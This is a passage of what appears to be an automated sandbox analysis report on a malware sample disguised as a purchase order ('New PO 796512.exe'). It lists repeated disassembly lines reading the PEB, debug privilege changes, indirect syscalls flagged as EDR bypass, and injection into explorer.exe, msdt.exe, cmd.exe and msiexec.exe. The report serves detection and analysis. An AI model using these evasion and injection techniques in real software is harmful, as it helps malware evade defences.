          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013727ED mov eax, dword ptr fs:[00000030h]13_2_013727ED
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013727ED mov eax, dword ptr fs:[00000030h]13_2_013727ED
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013727ED mov eax, dword ptr fs:[00000030h]13_2_013727ED
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013DE7E1 mov eax, dword ptr fs:[00000030h]13_2_013DE7E1
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_014047A0 mov eax, dword ptr fs:[00000030h]13_2_014047A0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0135C7C0 mov eax, dword ptr fs:[00000030h]13_2_0135C7C0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D07C3 mov eax, dword ptr fs:[00000030h]13_2_013D07C3
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0136E627 mov eax, dword ptr fs:[00000030h]13_2_0136E627
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01386620 mov eax, dword ptr fs:[00000030h]13_2_01386620
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01388620 mov eax, dword ptr fs:[00000030h]13_2_01388620
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0135262C mov eax, dword ptr fs:[00000030h]13_2_0135262C
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01392619 mov eax, dword ptr fs:[00000030h]13_2_01392619
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0141866E mov eax, dword ptr fs:[00000030h]13_2_0141866E
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0141866E mov eax, dword ptr fs:[00000030h]13_2_0141866E
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013CE609 mov eax, dword ptr fs:[00000030h]13_2_013CE609
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0136260B mov eax, dword ptr fs:[00000030h]13_2_0136260B
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0136260B mov eax, dword ptr fs:[00000030h]13_2_0136260B
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0136260B mov eax, dword ptr fs:[00000030h]13_2_0136260B
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0136260B mov eax, dword ptr fs:[00000030h]13_2_0136260B
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0136260B mov eax, dword ptr fs:[00000030h]13_2_0136260B
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0136260B mov eax, dword ptr fs:[00000030h]13_2_0136260B
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0136260B mov eax, dword ptr fs:[00000030h]13_2_0136260B
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01382674 mov eax, dword ptr fs:[00000030h]13_2_01382674
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138A660 mov eax, dword ptr fs:[00000030h]13_2_0138A660
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138A660 mov eax, dword ptr fs:[00000030h]13_2_0138A660
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0136C640 mov eax, dword ptr fs:[00000030h]13_2_0136C640
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013866B0 mov eax, dword ptr fs:[00000030h]13_2_013866B0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138C6A6 mov eax, dword ptr fs:[00000030h]13_2_0138C6A6
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01354690 mov eax, dword ptr fs:[00000030h]13_2_01354690
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01354690 mov eax, dword ptr fs:[00000030h]13_2_01354690
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D06F1 mov eax, dword ptr fs:[00000030h]13_2_013D06F1
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D06F1 mov eax, dword ptr fs:[00000030h]13_2_013D06F1
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013CE6F2 mov eax, dword ptr fs:[00000030h]13_2_013CE6F2
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013CE6F2 mov eax, dword ptr fs:[00000030h]13_2_013CE6F2
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013CE6F2 mov eax, dword ptr fs:[00000030h]13_2_013CE6F2
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013CE6F2 mov eax, dword ptr fs:[00000030h]13_2_013CE6F2
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138A6C7 mov ebx, dword ptr fs:[00000030h]13_2_0138A6C7
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138A6C7 mov eax, dword ptr fs:[00000030h]13_2_0138A6C7
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013E892B mov eax, dword ptr fs:[00000030h]13_2_013E892B
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D892A mov eax, dword ptr fs:[00000030h]13_2_013D892A
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01348918 mov eax, dword ptr fs:[00000030h]13_2_01348918
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01348918 mov eax, dword ptr fs:[00000030h]13_2_01348918
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013DC912 mov eax, dword ptr fs:[00000030h]13_2_013DC912
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013CE908 mov eax, dword ptr fs:[00000030h]13_2_013CE908
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013CE908 mov eax, dword ptr fs:[00000030h]13_2_013CE908
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013DC97C mov eax, dword ptr fs:[00000030h]13_2_013DC97C
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013F4978 mov eax, dword ptr fs:[00000030h]13_2_013F4978
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013F4978 mov eax, dword ptr fs:[00000030h]13_2_013F4978
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01376962 mov eax, dword ptr fs:[00000030h]13_2_01376962
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01376962 mov eax, dword ptr fs:[00000030h]13_2_01376962
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01376962 mov eax, dword ptr fs:[00000030h]13_2_01376962
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0139096E mov eax, dword ptr fs:[00000030h]13_2_0139096E
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0139096E mov edx, dword ptr fs:[00000030h]13_2_0139096E
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0139096E mov eax, dword ptr fs:[00000030h]13_2_0139096E
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D0946 mov eax, dword ptr fs:[00000030h]13_2_013D0946
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D89B3 mov esi, dword ptr fs:[00000030h]13_2_013D89B3
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D89B3 mov eax, dword ptr fs:[00000030h]13_2_013D89B3
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D89B3 mov eax, dword ptr fs:[00000030h]13_2_013D89B3
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0141A9D3 mov eax, dword ptr fs:[00000030h]13_2_0141A9D3
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013629A0 mov eax, dword ptr fs:[00000030h]13_2_013629A0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013629A0 mov eax, dword ptr fs:[00000030h]13_2_013629A0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013629A0 mov eax, dword ptr fs:[00000030h]13_2_013629A0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013629A0 mov eax, dword ptr fs:[00000030h]13_2_013629A0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013629A0 mov eax, dword ptr fs:[00000030h]13_2_013629A0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013629A0 mov eax, dword ptr fs:[00000030h]13_2_013629A0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013629A0 mov eax, dword ptr fs:[00000030h]13_2_013629A0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013629A0 mov eax, dword ptr fs:[00000030h]13_2_013629A0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013629A0 mov eax, dword ptr fs:[00000030h]13_2_013629A0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013629A0 mov eax, dword ptr fs:[00000030h]13_2_013629A0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013629A0 mov eax, dword ptr fs:[00000030h]13_2_013629A0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013629A0 mov eax, dword ptr fs:[00000030h]13_2_013629A0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013629A0 mov eax, dword ptr fs:[00000030h]13_2_013629A0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013509AD mov eax, dword ptr fs:[00000030h]13_2_013509AD
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013509AD mov eax, dword ptr fs:[00000030h]13_2_013509AD
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013829F9 mov eax, dword ptr fs:[00000030h]13_2_013829F9
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013829F9 mov eax, dword ptr fs:[00000030h]13_2_013829F9
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013DE9E0 mov eax, dword ptr fs:[00000030h]13_2_013DE9E0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0135A9D0 mov eax, dword ptr fs:[00000030h]13_2_0135A9D0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0135A9D0 mov eax, dword ptr fs:[00000030h]13_2_0135A9D0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0135A9D0 mov eax, dword ptr fs:[00000030h]13_2_0135A9D0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0135A9D0 mov eax, dword ptr fs:[00000030h]13_2_0135A9D0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0135A9D0 mov eax, dword ptr fs:[00000030h]13_2_0135A9D0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0135A9D0 mov eax, dword ptr fs:[00000030h]13_2_0135A9D0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013849D0 mov eax, dword ptr fs:[00000030h]13_2_013849D0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013E69C0 mov eax, dword ptr fs:[00000030h]13_2_013E69C0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01372835 mov eax, dword ptr fs:[00000030h]13_2_01372835
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01372835 mov eax, dword ptr fs:[00000030h]13_2_01372835
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01372835 mov eax, dword ptr fs:[00000030h]13_2_01372835
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01372835 mov ecx, dword ptr fs:[00000030h]13_2_01372835
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01372835 mov eax, dword ptr fs:[00000030h]13_2_01372835
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01372835 mov eax, dword ptr fs:[00000030h]13_2_01372835
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013F483A mov eax, dword ptr fs:[00000030h]13_2_013F483A
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013F483A mov eax, dword ptr fs:[00000030h]13_2_013F483A
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138A830 mov eax, dword ptr fs:[00000030h]13_2_0138A830
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013DC810 mov eax, dword ptr fs:[00000030h]13_2_013DC810
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013E6870 mov eax, dword ptr fs:[00000030h]13_2_013E6870
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013E6870 mov eax, dword ptr fs:[00000030h]13_2_013E6870
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013DE872 mov eax, dword ptr fs:[00000030h]13_2_013DE872
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013DE872 mov eax, dword ptr fs:[00000030h]13_2_013DE872
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01380854 mov eax, dword ptr fs:[00000030h]13_2_01380854
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01354859 mov eax, dword ptr fs:[00000030h]13_2_01354859
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01354859 mov eax, dword ptr fs:[00000030h]13_2_01354859
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01362840 mov ecx, dword ptr fs:[00000030h]13_2_01362840
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013DC89D mov eax, dword ptr fs:[00000030h]13_2_013DC89D
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0141A8E4 mov eax, dword ptr fs:[00000030h]13_2_0141A8E4
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01350887 mov eax, dword ptr fs:[00000030h]13_2_01350887
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138C8F9 mov eax, dword ptr fs:[00000030h]13_2_0138C8F9
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138C8F9 mov eax, dword ptr fs:[00000030h]13_2_0138C8F9
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0137E8C0 mov eax, dword ptr fs:[00000030h]13_2_0137E8C0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0141AB40 mov eax, dword ptr fs:[00000030h]13_2_0141AB40
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01404B4B mov eax, dword ptr fs:[00000030h]13_2_01404B4B
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01404B4B mov eax, dword ptr fs:[00000030h]13_2_01404B4B
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0137EB20 mov eax, dword ptr fs:[00000030h]13_2_0137EB20
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0137EB20 mov eax, dword ptr fs:[00000030h]13_2_0137EB20
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013CEB1D mov eax, dword ptr fs:[00000030h]13_2_013CEB1D
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013CEB1D mov eax, dword ptr fs:[00000030h]13_2_013CEB1D
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013CEB1D mov eax, dword ptr fs:[00000030h]13_2_013CEB1D
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013CEB1D mov eax, dword ptr fs:[00000030h]13_2_013CEB1D
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013CEB1D mov eax, dword ptr fs:[00000030h]13_2_013CEB1D
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013CEB1D mov eax, dword ptr fs:[00000030h]13_2_013CEB1D
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013CEB1D mov eax, dword ptr fs:[00000030h]13_2_013CEB1D
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013CEB1D mov eax, dword ptr fs:[00000030h]13_2_013CEB1D
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013CEB1D mov eax, dword ptr fs:[00000030h]13_2_013CEB1D
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0134CB7E mov eax, dword ptr fs:[00000030h]13_2_0134CB7E
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01418B28 mov eax, dword ptr fs:[00000030h]13_2_01418B28
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01418B28 mov eax, dword ptr fs:[00000030h]13_2_01418B28
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013FEB50 mov eax, dword ptr fs:[00000030h]13_2_013FEB50
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013F8B42 mov eax, dword ptr fs:[00000030h]13_2_013F8B42
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013E6B40 mov eax, dword ptr fs:[00000030h]13_2_013E6B40
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013E6B40 mov eax, dword ptr fs:[00000030h]13_2_013E6B40
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01360BBE mov eax, dword ptr fs:[00000030h]13_2_01360BBE
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01360BBE mov eax, dword ptr fs:[00000030h]13_2_01360BBE
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01358BF0 mov eax, dword ptr fs:[00000030h]13_2_01358BF0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01358BF0 mov eax, dword ptr fs:[00000030h]13_2_01358BF0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01358BF0 mov eax, dword ptr fs:[00000030h]13_2_01358BF0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0137EBFC mov eax, dword ptr fs:[00000030h]13_2_0137EBFC
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013DCBF0 mov eax, dword ptr fs:[00000030h]13_2_013DCBF0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013FEBD0 mov eax, dword ptr fs:[00000030h]13_2_013FEBD0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01404BB0 mov eax, dword ptr fs:[00000030h]13_2_01404BB0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01404BB0 mov eax, dword ptr fs:[00000030h]13_2_01404BB0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01350BCD mov eax, dword ptr fs:[00000030h]13_2_01350BCD
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01350BCD mov eax, dword ptr fs:[00000030h]13_2_01350BCD
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01350BCD mov eax, dword ptr fs:[00000030h]13_2_01350BCD
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01370BCB mov eax, dword ptr fs:[00000030h]13_2_01370BCB
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01370BCB mov eax, dword ptr fs:[00000030h]13_2_01370BCB
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01370BCB mov eax, dword ptr fs:[00000030h]13_2_01370BCB
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138CA38 mov eax, dword ptr fs:[00000030h]13_2_0138CA38
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01374A35 mov eax, dword ptr fs:[00000030h]13_2_01374A35
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01374A35 mov eax, dword ptr fs:[00000030h]13_2_01374A35
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0137EA2E mov eax, dword ptr fs:[00000030h]13_2_0137EA2E
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138CA24 mov eax, dword ptr fs:[00000030h]13_2_0138CA24
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013DCA11 mov eax, dword ptr fs:[00000030h]13_2_013DCA11
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013CCA72 mov eax, dword ptr fs:[00000030h]13_2_013CCA72
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013CCA72 mov eax, dword ptr fs:[00000030h]13_2_013CCA72
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138CA6F mov eax, dword ptr fs:[00000030h]13_2_0138CA6F
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138CA6F mov eax, dword ptr fs:[00000030h]13_2_0138CA6F
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138CA6F mov eax, dword ptr fs:[00000030h]13_2_0138CA6F
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013FEA60 mov eax, dword ptr fs:[00000030h]13_2_013FEA60
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01356A50 mov eax, dword ptr fs:[00000030h]13_2_01356A50
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01356A50 mov eax, dword ptr fs:[00000030h]13_2_01356A50
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01356A50 mov eax, dword ptr fs:[00000030h]13_2_01356A50
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01356A50 mov eax, dword ptr fs:[00000030h]13_2_01356A50
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01356A50 mov eax, dword ptr fs:[00000030h]13_2_01356A50
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01356A50 mov eax, dword ptr fs:[00000030h]13_2_01356A50
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01356A50 mov eax, dword ptr fs:[00000030h]13_2_01356A50
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01360A5B mov eax, dword ptr fs:[00000030h]13_2_01360A5B
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01360A5B mov eax, dword ptr fs:[00000030h]13_2_01360A5B
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01358AA0 mov eax, dword ptr fs:[00000030h]13_2_01358AA0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01358AA0 mov eax, dword ptr fs:[00000030h]13_2_01358AA0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013A6AA4 mov eax, dword ptr fs:[00000030h]13_2_013A6AA4
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01388A90 mov edx, dword ptr fs:[00000030h]13_2_01388A90
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0135EA80 mov eax, dword ptr fs:[00000030h]13_2_0135EA80
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0135EA80 mov eax, dword ptr fs:[00000030h]13_2_0135EA80
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0135EA80 mov eax, dword ptr fs:[00000030h]13_2_0135EA80
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0135EA80 mov eax, dword ptr fs:[00000030h]13_2_0135EA80
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0135EA80 mov eax, dword ptr fs:[00000030h]13_2_0135EA80
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0135EA80 mov eax, dword ptr fs:[00000030h]13_2_0135EA80
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0135EA80 mov eax, dword ptr fs:[00000030h]13_2_0135EA80
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0135EA80 mov eax, dword ptr fs:[00000030h]13_2_0135EA80
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0135EA80 mov eax, dword ptr fs:[00000030h]13_2_0135EA80
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01424A80 mov eax, dword ptr fs:[00000030h]13_2_01424A80
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138AAEE mov eax, dword ptr fs:[00000030h]13_2_0138AAEE
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138AAEE mov eax, dword ptr fs:[00000030h]13_2_0138AAEE
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01350AD0 mov eax, dword ptr fs:[00000030h]13_2_01350AD0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01384AD0 mov eax, dword ptr fs:[00000030h]13_2_01384AD0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01384AD0 mov eax, dword ptr fs:[00000030h]13_2_01384AD0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013A6ACC mov eax, dword ptr fs:[00000030h]13_2_013A6ACC
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013A6ACC mov eax, dword ptr fs:[00000030h]13_2_013A6ACC
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013A6ACC mov eax, dword ptr fs:[00000030h]13_2_013A6ACC
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D8D20 mov eax, dword ptr fs:[00000030h]13_2_013D8D20
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01346D10 mov eax, dword ptr fs:[00000030h]13_2_01346D10
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01346D10 mov eax, dword ptr fs:[00000030h]13_2_01346D10
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01346D10 mov eax, dword ptr fs:[00000030h]13_2_01346D10
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01384D1D mov eax, dword ptr fs:[00000030h]13_2_01384D1D
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0136AD00 mov eax, dword ptr fs:[00000030h]13_2_0136AD00
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0136AD00 mov eax, dword ptr fs:[00000030h]13_2_0136AD00
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess token adjusted: DebugJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeProcess token adjusted: DebugJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeMemory allocated: page read and write | page guardJump to behavior

          HIPS / PFW / Operating System Protection Evasion

          barindex
          Found direct / indirect Syscall (likely to bypass EDR)
          Source: C:\Users\user\Desktop\New PO 796512.exeNtClose: Indirect: 0xE9A56C
          Source: C:\Users\user\Documents\New PO 796512.pif.pifNtClose: Indirect: 0x13AA56C
          Source: C:\Users\user\Desktop\New PO 796512.exeNtQueueApcThread: Indirect: 0xE9A4F2Jump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifNtQueueApcThread: Indirect: 0x167A4F2
          Source: C:\Users\user\Documents\New PO 796512.pif.pif.pifNtClose: Indirect: 0x167A56C
          Source: C:\Users\user\Documents\New PO 796512.pifNtClose: Indirect: 0x1A6A56C
          Source: C:\Users\user\Documents\New PO 796512.pif.pifNtQueueApcThread: Indirect: 0x13AA4F2
          Source: C:\Users\user\Documents\New PO 796512.pif.pifNtClose: Indirect: 0xF8A56C
          Source: C:\Users\user\Documents\New PO 796512.pifNtQueueApcThread: Indirect: 0x1A6A4F2
          Source: C:\Users\user\Documents\New PO 796512.pif.pifNtQueueApcThread: Indirect: 0xF8A4F2
          Source: C:\Users\user\Documents\New PO 796512.pifNtQueueApcThread: Indirect: 0x144A4F2
          Source: C:\Users\user\Documents\New PO 796512.pifNtClose: Indirect: 0x144A56C
          Maps a DLL or memory area into another process
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and writeJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: NULL target: C:\Windows\SysWOW64\msdt.exe protection: execute and read and writeJump to behavior
          Source: C:\Users\user\Desktop\New PO 796512.exeSection loaded: NULL target: C:\Windows\SysWOW64\msdt.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\SysWOW64\msdt.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: read writeJump to behavior
          Source: C:\Windows\SysWOW64\msdt.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and writeJump to behavior
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and write
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: NULL target: C:\Windows\SysWOW64\cmd.exe protection: execute and read and write
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: NULL target: C:\Windows\SysWOW64\cmd.exe protection: execute and read and write
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and write
          Source: C:\Users\user\Documents\New PO 796512.pifSection loaded: NULL target: C:\Windows\SysWOW64\msiexec.exe protection: execute and read and write
